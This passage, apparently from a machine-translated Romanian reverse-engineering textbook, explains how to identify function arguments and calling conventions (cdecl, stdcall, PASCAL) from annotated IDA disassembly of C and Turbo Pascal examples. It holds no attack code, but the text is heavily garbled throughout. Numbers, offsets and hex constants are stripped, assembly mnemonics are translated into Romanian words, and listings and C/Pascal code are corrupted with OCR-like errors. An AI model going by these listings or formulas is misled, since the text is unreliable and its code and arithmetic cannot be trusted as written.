D A h ; Împingeți încă două argumente în stivă Totuși, de ce exact două ; Poate fi un argument de tip int sau double ; Determinați care nu este reprezentat prin codul funcției de apelare ; posibil ; îl vom lăsa deoparte pentru mai târziu, înainte de a studia abordarea argumentelor pe stivă ; Între timp, va trebui să ajungi într-o nesiguranță totală adauga esp, h ; Împingem x octeți Deoarece de octeți ( x ) sunt ; structura și octeți - pentru următoarele două argumente, obținem ; x + x = x , ceea ce urma să fie demonstrat pop edit pop esi mov esp, ebp pop ebp retn sub endp aHelloWorld db „Hello,World ”, aliniază ; DATE XREF: sub + Îo Rezultatul compilării aceluiași exemplu cu compilatorul Borland C++ va fi oarecum diferit și destul de instructiv Să aruncăm o privire și la asta (Listing ) Lista Rezultatul compilării exemplului din Listarea cu • Compilatorul Borland C++ proc principal lângă DATE XREF: DATE: > Lo var = octet ptr - h var = dwordptr - împinge ebp Capitolul Identificarea argumentelor funcţiei mov ebp, esp adăugați esp, FFFFFFE h ; Aha! Aceasta este adăugarea cu semnul minus Faceți clic în IDA și obțineți ; ADAUGĂ ESP,- h împinge esi push edi ; În timp ce totul merge ca în cazul precedent mov esi, offset aHelloWorld ; „Bună lume ” ; Și de aici încep diferențele! Pur și simplu nu există apel la strcpy ; Mai mult decât atât, compilatorul nici măcar nu a extins funcția, ; înlocuindu-l cu locul apelului, dar pur și simplu a exclus apelul în sine! lea edi, [ebp+var ] ; Introducem în EDI un pointer către un buffer local mov eax, edi ; Introducem același indicator în EAX mutare ecx, repe movsd movsb ; Vă rugăm să rețineți: * + = octeți sunt copiați Treisprezece, deloc ; douăzeci, după cum presupune declarația structurii Acesta este compilatorul ; a optimizat codul prin copierea numai a șirului în sine în buffer și ignorându-l ; „coada” neinițializată mov[ebp+var ], h ; Introducem constanta x în variabila locală apăsați AA D h apăsați A D A h ; De asemenea Nu putem determina: care sunt aceste două numere - ; unul sau două argumente lea ecx, [ebp+var ] ; Introducem in ECX un pointer catre inceputul sirului mov edx, ; Introducem constanta în EDX (încă nu este clar de ce) loc D : C DE XREF: mam+ >Lj push dword ptr [ecx+edx* ] ; Ce este acest cod de coșmar? Să ne gândim, începe să-l rotești ; încă de la capăt În primul rând, cu ce este egal ECX+EDX* ? ECX - indicator ; la tampon și totul este clar cu aceasta, dar EDX* == * == ; Da, deci obținem un indicator nu la începutul șirului, ci la sfârșit, ; sau mai bine zis, nici măcar la sfârșit, ci pe variabila ebp+var ( x - x = x ) ; Să ne gândim - dacă acesta este un pointer către var în sine, atunci de ce să-l calculăm ; într-un mod atât de inteligent? Cel mai probabil, avem de-a face cu o structură ; În continuare - uite, comanda push împinge un cuvânt dublu pe stivă, ; stocat la acest pointer dec edx ; EDX în scădere Ai simțit deja că avem de-a face cu un ciclu? jns scurt loc D Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Iată această tranziție care se declanșează atâta timp cât EDX nu este un număr negativ, ; confirmă ipoteza noastră despre ciclu ; Da, un astfel de design pervertit Borland trece argumentul - ; structura funcției după valoare apelați MyFunc ; Apel de funcție uite - fără curățare stivă Da, acesta este ultimul ; funcția apelabilă și curățarea stivei nu este necesară - ; Borland nu o face oh eh, eh ; Punerea la zero a rezultatului returnat de funcție Borland face asta cu ; void-functions - ele returnează întotdeauna zero pentru el, mai precis: nu sunt ; return și codul plasat în spatele apelului lor, resetând EAX pop edit pop esi ; Restaurarea registrelor EDI și ESI salvate anterior mov esp, ebp ; restaurați ESI - de aceea stiva nu a fost șters după apel ; ultima caracteristică! pop ebp retn principal endp Rețineți că în mod implicit Microsoft C++ transmite argumente de la dreapta la stânga, în timp ce Borland C++ trece de la stânga la dreapta! Printre tipurile de apeluri standard, nu există nimeni care, trecând argumente de la stânga la dreapta, să părăsească funcția de apelare pentru a curăța stiva! Se pare că Borland C+t folosește propriul tip de apel incompatibil! Abordarea argumentelor pe stivă Conceptul de bază al unei stive include doar două operații - împingerea unui element pe stivă și îndepărtarea ultimului element din stivă Accesul la elemente arbitrare este ceva nou! Cu toate acestea, o astfel de abatere de la canoane crește semnificativ viteza de lucru - dacă, să zicem, este nevoie de al treilea element, de ce să nu-l trageți direct din stivă, fără a elimina primele două? O stivă nu este doar o „stivă”, așa cum învață manualele de programare populare, ci și o matrice Și dacă da, atunci, știind poziția indicatorului din partea superioară a stivei (și nu putem să nu o știm, altfel unde ați comanda să puneți următorul element?) Și dimensiunea elementelor, putem calcula offset-ul oricăruia dintre elemente, după care nu va fi greu de citit În treacăt, observăm unul dintre dezavantajele stivei - ca orice altă matrice omogenă, stiva poate stoca date de un singur tip, de exemplu, cuvinte duble Dacă doriți să împingeți un octet (de exemplu, un argument char), atunci trebuie să îl extindeți la un cuvânt dublu și să îl împingeți pe stivă în întregime În mod similar, dacă argumentul are patru cuvinte (double, int ), atunci două elemente de stivă sunt cheltuite pentru a-l transmite! Pe lângă transmiterea de argumente, stiva este folosită și pentru a stoca adresa de retur din funcție, care necesită, în funcție de tipul de apelare a funcției (aproape sau departe), de la unul la două elemente Apelul de aproape (peag) operează în cadrul aceluiași segment - în acest caz, este suficient să salvați doar offset-ul instrucțiunii urmând instrucțiunile de apel Dacă funcția de apelare este într-un segment, iar cea apelată este în altul, atunci pe lângă offset, trebuie să vă amintiți și segmentul în sine pentru a ști unde să transferați controlul la întoarcere Deoarece adresa de retur este introdusă după argumente, în raport cu partea de sus a stivei, argumentele Capitolul Identificarea argumentelor funcţiei sunt „în spatele” acestuia, iar offset-ul lor variază în funcție de numărul de elemente ale stivei ocupate de adresa de retur Din fericire, modelul de memorie plat al Windows face posibilă uitarea de modelele de memorie ca pe un coșmar și utilizarea numai aproape de apeluri peste tot Compilatoarele care nu sunt optimizate folosesc un registru special (de obicei Heb) pentru a adresa argumente, copiend valoarea registrului indicatorului superior al stivei de la începutul funcției în el Pe măsură ce stiva crește de la adrese mai mari la adrese inferioare, decalajul tuturor argumentelor (inclusiv adresa de retur) este pozitiv, iar compensarea N-ro după numărul de argumente este calculată prin următoarea formulă: arg offset = N*size element+size return address unde N este numărul argumentului, numărând din partea de sus a stivei (numărarea începe de la zero), size element este dimensiunea unui element de stivă, în general egală cu lățimea de biți a segmentului (sub Windows x/NT - patru octeți), size return address este dimensiunea în octeți ocupată de adresa de retur (în Windows x/NT, de obicei patru octeți) Adesea este necesar să se rezolve problema inversă: cunoașterea decalajului elementului, determinarea ce argument este accesat Următoarea formulă, care este pur și simplu derivată din cea anterioară, ne va ajuta în acest sens: arg offset - size return address N= element dimensiune Deoarece vechea valoare a lui esp trebuie să fie stocată pe aceeași stivă înainte ca valoarea actuală a lui esp să fie copiată în heb, formula de mai sus trebuie modificată prin adăugarea dimensiunii registrului heb la dimensiunea adresei de retur (v în -bit mode, în cazul în care astfel de programe ar trebui să fie dezasamblate) Din punctul de vedere al unui hacker, principalul avantaj al unei astfel de abordări a argumentelor este că, după ce am văzut undeva în mijlocul codului o instrucțiune ca eax-ul meu, [Heb + OxU], îți poți da seama imediat ce argument este fiind adresată Cu toate acestea, compilatoarele de optimizare abordează argumentele direct prin esp pentru a conserva cazurile hev Diferenta este fundamentala! Valoarea lui esp nu rămâne constantă în timpul execuției funcției și se modifică de fiecare dată când datele sunt introduse și eliminate din stivă Prin urmare, nici offset-ul argumentelor relativ la esp nu rămâne constant Acum, pentru a determina exact ce argument este accesat, trebuie să știți ce este esp la un anumit punct al programului și, pentru a afla, toate modificările sale trebuie urmărite chiar de la începutul funcției! Vom vorbi mai multe despre această adresare dificilă în Capitolul , „Identificarea variabilelor stivei locale”, dar mai întâi să ne întoarcem la exemplul anterior și să ne uităm la funcția numită (Listarea ) ; Lista Codul dezasamblat pentru funcția numită MyFunc (vezi Lista ) MyFunc proc lângă COD XREF principal+ Оp arg = dword ptr arg = dword ptr OCh arg = octet ptr lOh arg lC = dword ptr h ; IDA a recunoscut patru argumente transmise funcției Cu toate acestea, nu merită ; ai încredere în el necondiționat - dacă un argument (de exemplu, int ) ; este transmis în câteva cuvinte de mașină, atunci IDA o va accepta din greșeală ca nu ; unul, dar pentru mai multe argumente ; Prin urmare, rezultatul obținut de IDA trebuie interpretat astfel: funcții ; sunt transmise cel puțin patru argumente Cu toate acestea, nici aici nu totul este bine ; La urma urmei, nimeni nu împiedică funcția apelată să urce pe stiva părintelui ; cât vrea ea Poate nu ni s-au dat argumente Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; deloc, și ne-am urcat în mod arbitrar în stivă și am tras ceva de acolo Deși aceasta ; se întâmplă în principal din cauza erorilor de programare din cauza confuziei cu ; prototipuri, este necesar să se țină cont de această posibilitate (Într-o zi tu ; Îl vei întâlni în continuare, așa că fii pregătit) Numărul de după ; „arg” exprimă decalajul argumentului relativ la începutul cadrului stivei ; Rețineți că cadrul stivei în sine este compensat cu opt octeți de EBP -; patru octeți sunt ocupați de adresa de retur stocată, iar alți patru merg la ; păstrarea registrului EUR împinge ebp mov ebp, esp lea eax, [ebp+arg ] ; Obținerea unui pointer către un argument ; Atenție: este un pointer către un argument, nu un pointer argument' ; Acum să ne dăm seama la ce fel de argument primim un indicator ; IDA și-a dat seama deja că acest argument este compensat cu opt octeți ; relativ la începutul cadrului stivei În original, expresia în ; paranteze, arăta ca ebp + OxlO - așa îl afișează majoritatea oamenilor ; dezasamblatoare Dacă IDA nu ar fi atât de deștept, ar trebui să o facem constant ; scădeți manual opt octeți din fiecare astfel de expresie de adresă ; (totuși, cu asta vom exersa în continuare) ; Este logic: în vârf este ceea ce punem ultimul pe stivă ; Ne uităm la funcția de apelare - ce am pus ceva? ; (Vezi versiunea compilată de Microsoft Visual C++) ; Da, ultimele două au fost acele argumente de neînțeles și înaintea lor pe stivă ; a fost trimisă o structură formată dintr-un șir și o variabilă de tip int ; Deci, EBP+ARG indică un rând împinge max ; Împingeți indicatorul rezultat pe stivă ; Se pare că este trecut la următoarea funcție mov ex, [ebp+arg lC] ; Introduceți conținutul argumentului EBP+ARG C în ECX La ce indică el? ; Amintiți-vă că tipul int este în structura la offset x octeți de la ; începutul, iar ARG este începutul său Apoi, x + x == Ox/C ; Adică, valoarea unei variabile de tip int, membru al structurii, este introdusă în ECX împinge ex ; Împingem variabila rezultată în stivă, trecând-o după valoare ; (după valoare - deoarece ECX stochează o valoare, nu un pointer) mov edx, [ebp+arg ] ; Luăm unul dintre acele două argumente de neînțeles aduse de ultimul b; grămadă împinge edx ; și împingeți-l din nou pe stivă, trecându-l la următoarea funcție Capitolul Identificarea argumentelor funcției mov eax, [ebp+arg ] împinge max ; Luăm al doilea argument de neînțeles și îl împingem pe stivă push offset aFXS ; „%f,%x,%s\n” apelați printf ; Hopa! Apelarea printf cu un șir de specificatori! funcția printf, ; cunoscut a avea un număr variabil de argumente, tip și număr ; care doar stabilesc și specificatori Să ne amintim - primul pe stivă ; am introdus un indicator către linie și, într-adevăr, cea mai din dreapta ; specificatorul „%s” denotă ieșirea unui șir ; Apoi o variabilă de tip int a fost împinsă în stivă, iar a doua din dreapta ; specificatorul este %x - ieșirea întregului în formă hexazecimală ; Și apoi apoi vine ultimul specificator %f, în timp ce în ; două argumente au fost împinse pe stivă ; Privind la Ghidul programatorului Microsoft Visual C++, noi ; citiți că specificatorul %f scoate o valoare reală, care în ; în funcție de tip, poate dura atât patru octeți (float) cât și opt ; (dubla) În cazul nostru, în mod evident ocupă opt octeți, prin urmare, ; este un dublu Astfel, am restaurat prototipul funcției noastre, aici ; it: cdecl MuFunc(double a, struct B b) ; Tip de apel cdecl - adică stiva a fost șters de funcția de apelare Doar asta ; din păcate, adevărata ordine a trecerii argumentelor nu poate fi restabilită ; Amintiți-vă că Borland C++ a șters stiva prin funcția de apelare, dar ; a schimbat în mod arbitrar ordinea de trecere a parametrilor ; Se pare că dacă programul a fost compilat de Borland C++, atunci noi doar ; inversează ordinea argumentelor Din păcate, nu este atât de ușor ; Dacă a existat o conversie explicită a tipului funcției în cdecl, atunci Borland ; C++ ar fi făcut așa cum i s-a spus fără nicio inițiativă suplimentară și ; atunci inversarea ordinii argumentelor ar da un rezultat greșit ; Cu toate acestea, ordinea adevărată a argumentelor din prototipul funcției ; nu joacă niciun rol Este important doar să legați transmis și primit ; argumente, ceea ce am făcut ; Vă rugăm să rețineți: acest lucru a devenit posibil doar cu analiza comună și ; funcții de apelare și apelare Analiza doar a uneia dintre ele nu ar ; a dat! Notă: nu ar trebui să vă bazați niciodată necondiționat ; validitatea șirului de specificator Pentru că specificatorii ; sunt formate manual de către programator însuși, erorile sunt posibile aici, uneori ; foarte evaziv și dăruitor după compilare extrem de criptic ; cod adăugați esp, h pop ebp retn MyFunc endp Deci, au fost deja făcute unele progrese - am restaurat cu încredere prototipul primei noastre funcții Dar acesta este doar începutul Acum ar trebui să luăm în considerare un subiect important, dar destul de obositor - o analiză comparativă a diferitelor tipuri de apeluri de funcții și implementarea lor în compilatoarele populare Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Convenție standard - stdcall Să începem cu convenția standard - stdcall Luați în considerare exemplul prezentat în Lista Lista Demonstrarea convenției standard stdcall #include #include stdcall MyFunc(int a, int b, char *c) { returnează a+b+strlen(c); principal() { printf("%x\n",MyFunc( x , x ,"Bună ziua, Lumea")),- Compilarea acestui exemplu cu Microsoft Visual C++ cu setări implicite ar trebui să arate ca Lista - Lista Rezultatul compilării unui exemplu folosind convenția stdcall cu compilatorul Microsoft Visual C++ cu setări implicite proc principal lângă COD XREF-start-rAF-lp împinge ebp mov ebp, esp push offset aHelloWorld ; const char* ; Apăsați un indicator către șirul aHelloWorld pe stivă ; Privind textele sursă (din fericire le avem), aflăm că ; că este argumentul din dreapta transmis funcției ,- Prin urmare, avem un apel precum stdcall sau cdecl, dar nu ,- PASCAL Vă rugăm să rețineți că șirul este transmis prin referință, dar nu prin ; valoare împingere h ; int ; Mai punem un argument pe stivă - o constantă de tip int ; (IDA de la versiunea determină automat tipul acestuia) push h ; int ; Trecem ultimul argument din stânga funcției, - ; o constantă de tip int sunați MyFunc ; Vă rugăm să rețineți că nu există comenzi după apelul funcției ; curățând stiva de argumentele introduse pe el Dacă compilatorul nu este ; a înșelat și nu a recurs la curățare amânată, apoi cel mai probabil stiva, ; șterge funcția apelată în sine Deci tipul de apel este stdcall ; (care, de fapt, se cerea a fi dovedit) Capitolul Identificarea argumentelor funcţiei ; Treceți valoarea returnată a funcției la următoarea funcție ; ca argument push offset asc ; „%x\n” sunați la pnntf ; OK, următoarea funcție printf și șirul de specificatori ; indică faptul că argumentul transmis este de tip int adăugați esp, ; Scoaterea de opt octeți din stiva - patru per argument; de tip int, celelalte patru indică către un pointer către un șir de specificatori pop ebp retn principal endp ; int cdecl MyFunc(int,int,const char *) MyFunc proc lângă ; COD XREF: sub D+ Îp ; Din versiunea IDA restaurează automat prototipurile de funcții, dar ; nu o face întotdeauna corect În acest caz, era permisă brută; eroare - tipul de apel nu poate avea tipul cdecl în niciun fel, deoarece stiva se șterge; funcție apelabilă! Se pare că IDA Pro nu ia nicio măsură; încearcă să analizeze tipul de apel, dar îl ia din setările celui recunoscut; compilator în mod implicit În general, orice a fost, dar cu rezultatele; Lucrările IDA trebuie tratate cu mare atenție arg = dword ptr arg = dword ptr OCh arg = dword ptr lOh împinge ebp mov ebp, esp împinge esi ; După cum puteți vedea, aceasta înseamnă salvarea registrului pe stivă, nu trecerea acestuia; funcții, deoarece nici registrul nu a fost inițializat în mod explicit; funcția de apelare sau apelată mută esi, [ebp+arg ] ; Am pus ultimul argument împins pe stivă în registrul ESI adăugați esi, [ebp+arg ] ; Adăugați conținutul ESI cu penultimul împins pe stivă ; argument mov eax, [ebp+arg ] ; Introducem penultimul argument în EM și push eax ; const char* ; împingeți-l pe stivă call strlen ; Deoarece strlen așteaptă un pointer către un șir, este sigur ; concluzionați că penultimul argument este un șir, ; trecut prin referință adăuga mai ales, Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Scoaterea ultimului argument din stivă adauga eax, esi ; După cum ne amintim, ESI stochează suma primelor două argumente, ; iar în EAX, lungimea returnată a șirului Deci funcția însumează cele două argumente ale sale cu lungimea șirului pop esi pop ebp retn OCh ; Stiva este ștearsă de funcția apelată, prin urmare tipul de apel este stdcall ; sau PASCAL Vom presupune că acesta este stdcall, apoi prototipul funcției; arată astfel: int MyFunc(int a, int b, char *c) ; Ordinea argumentelor rezultă din faptul că în vârful stivei erau doi ; variabile de tip int, iar sub ele este un șir Pentru că în partea de sus a stivei; întotdeauna stă ceea ce a fost introdus în ea ultimul, dar conform; Argumentele stdcall sunt introduse de la dreapta la stânga, obținem exact asta; ordinea argumentelor MyFunc endp convenția cdecl Și acum să ne uităm la modul în care funcția este numită de cdecl În exemplul anterior (vezi Lista ), schimbați cuvântul cheie stdcall în cdecl (Listingul ) I Lista Demonstrație h '■* #include #include cdecl MyFunc (int a, int b, char *c) { returnează a+b+strlen(c); } principal() { printf("%x\n",MyFunc( x , x ,"Bună ziua,Lumea ")); } Compilarea exemplului din Lista ar trebui să arate ca Lista : Lista Rezultatul compilării exemplului, damsjst^r^ng #include // Atenție! Microsoft Visual C++ nu mai acceptă tipul de apel PASCAL // folosiți în schimb același tip de apel WINAPI, // definit în #dacă este definit( MSC VER) #include // Includeți windows h numai dacă utilizați Microsoft Visual C++ // soluție mai eficientă pentru alte compilatoare // - folosiți cuvântul cheie PASCAL dacă acestea, // desigur că este suportat (Borland suportă) #endif // Truc de programare similar, poate // și face lista mai puțin lizibilă, dar permite // mai multor compilatori să o compila! #dacă este definit( MSC VER) WINAPI #altfel pascal #endif MyFunc(int a, int b, char*c) { retum a+b+strlen(c); principal() printf("%x\n",MyFunc( x , x ,"Salut, lume!")); Compilarea exemplului din Listarea cu compilatorul Borland C++ arată ca Listarea ; int cdecl main(int argc,const char **argv,const char *envp) proc principal lângă DATE XREF: DATE: J O push mov ebp ebp, esp push push push h ; int h; int offset aHelloWorld ; s Transmitem argumente funcției Privind textul original, observăm Capitolul Identificarea argumentelor funcției ; că argumentele sunt transmise de la stânga la dreapta Cu toate acestea, dacă textele sursă ; nu, este imposibil de stabilit acest fapt! Din fericire, prototipul original; functia nu este importanta sunați MyFunc ; Funcția nu curăță stiva! Dacă nu este rezultatul unei optimizări ; - tipul său de apel este fie PASCAL, fie stdcall Din moment ce PASACAL ; deja neutilizat, vom presupune că avem de-a face cu stdcall push ex push offset unk ; format apelați printf add esp, xor eax, eax pop ebp retn jnain endp ; int cdecl MyFunc(const char *s,int,int) ; Ara IDA a dat din nou rezultatul greșit! Tipul de apel clar nu este cdecl! ; Cu toate acestea, restul prototipului funcției este corect sau, mai degrabă, nu că este adevărat ; (de fapt ordinea argumentelor este inversată), dar pentru a folosi − ; potrivi MyFunc proc lângă ; COD XREF: principal+ Îp S = dword ptr arg = dword ptr OCh arg = dword ptr lOh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov eax, [ebp+s] ; Punem în EAX un pointer către un șir push eax ; s call strlen ; Îl trecem la funcția strlen pop ecx ; Ștergeți stiva de un argument prin deschiderea acestuia ; la un registru neutilizat mov edx, [ebp+arg ] ; Introduceți argumentul arg de tip int în EDX adăugați edx, [ebp+arg ] ; Îl adăugăm cu argumentul arg adauga ex, edx ; Adăugați suma arg și arg la lungimea șirului pop ebp Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt retn OCh ; Stiva este ștearsă de funcția apelată Deci tipul său este PASCAL sau stdcall MyFunc endp După cum puteți vedea, identificarea tipurilor de apeluri de bază și restaurarea prototipurilor de funcții este ușoară Singurul lucru care strică starea de spirit este confuzia cu Pascal și stdcall, dar ordinea în care argumentele sunt împinse în stivă nu contează, cu excepția cazurilor speciale, dintre care unul este demonstrat de exemplul din lista #include #include #include // Procedura CALLBACK pentru primirea mesajelor de la cronometru VOID CALLBACK TimerProc( HWND hwnd, // mânerul ferestrei pentru mesajele timer UINT uMsg, // mesaj WM TIMER UINT idEvent, // identificator de timp DWORD dwTime // ora curentă a sistemului // Bipuri MessageBeep((dwTime % )* x ); // Imprimă timpul în secunde de la pornirea sistemului printf("\r:=%d",dwTime / ); principal() // Da, aceasta este o aplicație de consolă, dar poate avea și // Aduce mesaje în buclă și setează cronometrul! { int a; msg msg; // Setați cronometrul trecându-i adresa procedurii TimerProc SetTimer( , , ,TimerProc); // Buclă de preluare a mesajului Îl poți întrerupe // apăsând + while (GetMessage(&msg, (HWND) NULL, , )) { TranslateMessage(&msg); DispatchMessage(&msg) ; } } Să compilam acest exemplu introducând următoarea comandă din linia de comandă: cl pascal callback c user ib, apoi dezasamblați fișierul rezultat (Listing ), vedeți ce se întâmplă Capitolul Identificarea argumentelor funcţiei Listare * f y = proc principal lângă ; COD XREF: start+AF^p ; De data aceasta, IDA nu a definit un prototip de funcție Ei bine, bine Msg = MSG ptr - h ; Dezasamblatorul IDA Pro a recunoscut o variabilă locală și chiar ; i-a restabilit tipul, ceea ce face plăcere împinge ebp mov ebp, e sp sub esp, Oh push offset TimerProc ; IpTimerFunc ; Trecerea unui pointer către funcția TimerProc împinge ; uElapse ; Trecerea temporizatorului apăsați ; nlDEvent ; În aplicațiile de consolă, argumentul nlDEvent este întotdeauna ignorat apăsați ; hWnd ; Nu există ferestre, trecem NULL apelați ds:SetTimer ; Funcțiile API Win sunt apelate conform convenției stdcall - asta dă ; posibilitatea, cunoscându-le prototipul (și este descris în SDK), de a restaura tipul și ; repartizarea argumentelor În acest caz, textul original arăta astfel: ,- SetTimer(NULL, BULL, , TimerProc); loc : ; COD XREF: principal+ ^J apăsați ; wMsgFilterMax ; NULL - fără filtru apăsați ; wMsgFilterMin ; NULL - fără filtru apăsați ; hWnd ; NULL - fără ferestre în aplicația de consolă lea eax , [ebp+Msg] ; Obținem un pointer către variabila locală msg - ; tipul acestei variabile este determinat, de altfel, numai pe baza prototipului; Funcțiile GetMessageA push eax ; IpMsg ; Trecem un pointer către msg apelați ds:GetMessageA ; Numim funcția GetMessageA(&msg, NULL, NULL, NULL); test eax, eax jz scurt loc B ; Se verifică WM QUIT lea ecx, [ebp+Msg] Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; În ECX, un pointer către o structură MSG finalizată împinge ex ; IpMsg ; treceți-l la funcția TranslateMessage apelați ds:TranslateMessage ; Numim funcția TranslateMessage(&msg); lea edx, [ebp+Msg] ; În EDX, un indicator către msg push edx ; IpMsg ; transmiteți-l funcției DispatchMessageA apelați ds:DispatchMessageA ; Apelarea DispatchMessageA ztr scurt loc ; Bucla de preluare a mesajului os B: ; COD XREF: principal+ C? ; Ieșire toѵ esp, ebp pop ebp retn endp principal TimerProc proc lângă ; DATE XREF: principal+ Îo ; Prototip de TimerProc datorită apelului său implicit de către sistemul de operare ; nu a fost restaurat automat de IDA, va trebui să ne ocupăm de asta ; Știm că TimerProc este transmis funcției SetTimer ; Privind în descrierea SetTimer (SDK-ul ar trebui să fie întotdeauna la îndemână!) găsim ; prototipul său: ;VOID CALLBACK TimerProc( ; HWND hwnd, // mânerul ferestrei pentru mesajele timer ; UINT uMsg, // mesaj WM TIMER ; UINT idEvent, // identificator de timp ; DWORD dwTime // ora curentă a sistemului ; ) ; Rămâne să ne ocupăm de tipul de apel De data aceasta este fundamental, pentru că nu ; având codul funcției de apelare (este situat adânc în măruntaiele sistemului de operare), ne vom ocupa de tipurile de argumente doar dacă există un ; cunoașteți ordinea de transmitere a acestora ; S-a spus mai devreme că toate funcțiile CALLBACK urmează convenția PASCAL ; Nu confunda funcțiile CALLBACK cu funcțiile Win API! Prima se numește ; sistemul de operare, iar al doilea - programul de aplicație ; OK, tipul de apel al acestei funcții este PASCAL Deci argumentele sunt introduse în stânga ; la dreapta, iar funcția apelată șterge stiva (asigurați-vă că este ; Adevărat) arg C = dword ptr h ; S-a găsit un singur argument, deși prototipul indică faptul că unul este trecut; patru De ce? Foarte simplu - funcția a folosit un singur argument, Capitolul Identificarea argumentelor funcției și nu s-a adresat celorlalți Iată dezasamblatorul IDA Pro și nu le-am putut restaura! Apropo, care este acest argument? Ne uităm: deplasarea sa este egală cu OxC Și în partea de sus a stivei este valoarea care a fost împinsă ultima dată pe stivă Dar apoi se dovedește că argumentul dwTime a fost introdus în stivă în primul rând? (Noi, având textul sursă, știm că arg C este probabil dwTime) Dar convenția PASCAL dictează ordinea opusă a introducerii argumentelor! Ceva nu este în regulă aici dar programul funcționează (rulați-l pentru a verifica) Și SDK-ul spune că CALLBACK este un analog cu FAR PASCAL Cu FAR, este clar că în Windows pe de biți toate apelurile sunt aproape, dar cum se explică inversarea trimiterii argumentelor?! Priviți în interiorul și vedeți cum este definit tipul PASCAL acolo: #ellf ( MSC VER >= ) II definit( STDCALL SUPPORTED) #define CALLBACK stdcall #define WINAPI stdcall #define WINAPIV cdecl #define APIENTRY WINAPI #define APPRIVATE stdcall #de£ine PASCAL stdcall Nu, cine ar fi crezut!!' Un apel declarat ca PASCAL este de fapt un apel std! Și CALLBACK este definit în același mod ca și stdcall În sfârșit totul este explicat! Acum, dacă îți spun că CALLBACK este PASCAL, poți doar să rânji și să spui că și ariciul este o pasăre, deși mândru - până nu dai cu piciorul, nu va zbura! (Se pare că săpătura prin sălbăticia fișierelor include poate fi utilă ) Apropo, aceste perversiuni suprapuse creează o mare problemă la conectarea la modulele de proiect C scrise într-un mediu care acceptă convențiile de apelare a funcției PASCAL Deoarece în Windows PASCAL nu este deloc PASCAL, ci stdcall, nu va funcționa nimic, respectiv! Adevărat, există și cuvântul cheie pascal, care nu se suprapune, dar nu este acceptat de cele mai recente versiuni ale Microsoft Visual C++ Calea de ieșire este să folosiți inserții de asamblare sau să treceți la Borland C ++, pe care, la fel ca multe alte compilatoare, convenția PASCAL încă o acceptă corect Așadar, am aflat că argumentele funcțiilor CALLBAC sunt transmise de la dreapta la stânga, dar funcția apelată în sine șterge stiva, așa cum ar trebui să fie conform convenției stdcall împinge ebp mov ebp, esp mov eax, [ebp+arg C] ; Introduceți argumentul dwTime în EAX ; Cum l-am prins? Ne uităm - sunt trei argumente în fața lui pe stivă, ; fiecare dintre ele are o dimensiune de octeți, apoi * = xC xor edx, edx ; Resetați EDX mutare ecx, ; Setați ECX la div ecx ; Împărțiți dwTime (este în EAX) la shl edx ; În EDX - restul diviziunii, printr-o deplasare ciclică o înmulțim cu x , Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Mai exact, o înmulțim cu împinge edx ; uType Trecem rezultatul funcției MessageBeep Privind SDK-ul, constatăm că MessageBeep acceptă una dintre constantele: NB OK, MB ICONASTERISK, MB ICONHAND etc , dar nu spune nimic despre valoarea imediată pe care o ia fiecare dintre ele Dar se raportează că MessageBeep este descris în fișierul Îl deschidem și căutăm căutarea contextuală MV OK: #define MB OK OxOOOOOOOOOL #define MB OKCANCEL #define MB ABORTRETRYIGNORE #define MB YESNOCANCEL #define MB YESNO #define MB RETRYCANCEL OxOOOOOOOLL x L X L X L X L #define MB ICONHAND #define MB ICONQUESTION #define MB ICONEXCLAMATION #define MB ICONASTERISK OxOOOOOOlOL x L x L X L ; Uite: toate constantele care ne interesează sunt egale: ; x , x , x , x , x Acum are sens ; programe Luând restul obținut prin împărțirea numărului de milisecunde, ; a trecut din momentul în care sistemul a fost pornit, cu , primim numărul ; interval de la la Înmulțind cu x , obținem x - x apelați ds:MessageBeep ; Semnale sonore mov eax, [ebp+arg C] ; Intrăm în EAX dwTime xor edx, edx ; Resetați EDX mov ecx, E h ; În notație zecimală, x E este egal cu div ecx ; Împărțiți dwTime la - adică converti milisecunde în secunde împinge max ; treceți-l la funcția printf push offset aD ; „\r:=%d” apelați printf adăugați esp, ; printf("\r:=%d") pop ebp retn lOh ; Ieșiți, ștergeți stiva! TimerProc endp Capitolul Identificarea argumentelor funcției Notă Deși tipurile definite în au fost deja discutate în comentariile la Listarea - , nu este nevoie să se repete Deci, funcțiile callback și winapi urmează convenția de apelare pascal, dar tipul de apel pascal în sine este definit în ca stdcall (și pe unele platforme ca cdecl) Astfel, pe platforma Intel, toate funcțiile Windows urmează convenția „argumentele sunt introduse de la dreapta la stânga, iar stiva este șters de funcția apelată Pentru a face cunoștință cu convenția Pascal, să creăm un program Pascal simplu și să-l dezasamblam Acest lucru nu înseamnă, desigur, că apelurile Pascal se găsesc doar în programele Pascal, dar acest lucru este adevărat Exemplul în cauză este prezentat în Lista - UTILIZAȚI WINCRT; Procedura MyProc(а:Word; b;Byte; c:String); ÎNCEPE ScrieLn(a+b,' ', c); Sfârşit; ÎNCEPE MyProc($ ,$ , 'Bună, Marinar' ' ); SFÂRŞIT Rezultatul compilării acestui exemplu cu compilatorul Turbo Pascal pentru Windows arată ceva ca Lista - cel mai simplu exemplu din Paesa PROGRAM PROC aproape sunați la INITTASK ; Apelarea INITTASK de la KRNL EXE pentru a inițializa o sarcină pe biți sunați la @ Systemlnit$qy ; Inițializarea modulului SYSTEM SystemInit(void) sunați la @ WINCRTInit$qv ; WINCRTInit(void) ; Inițializarea modulului WinCRT împinge bp mov bp, sp ; Prolog de funcții în mijlocul unei funcții! ; Iată-l, Turbo-PASCAL! hog ah ah apelați @ StackCheck$q Word ; verificarea depășirii stivei (AX) ; Verificarea depășirii stivei împinge h ; Rețineți că argumentele sunt transmise de la stânga la dreapta împingere h; 'w' mov di, offset aHelloSailor ; „Bună, Marinar ” ; În DI, un indicator către șirul „Hello, Sailor” împinge ds Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt împinge di ; Vezi: nu se transmite indicatorul aproape (NEAR), dar departe (FAR) - ; adică atât decalajul de segment, cât și de linie sunați pe Murgos ; Stiva este ștearsă de funcția apelată Lasă ; Epilogul funcției este închiderea cadrului stivei hog ah ah apelează la @Halt$q Word ; Oprire (Cuvânt) ; Sfârșitul programului! PROGRAM endp MyProc proc 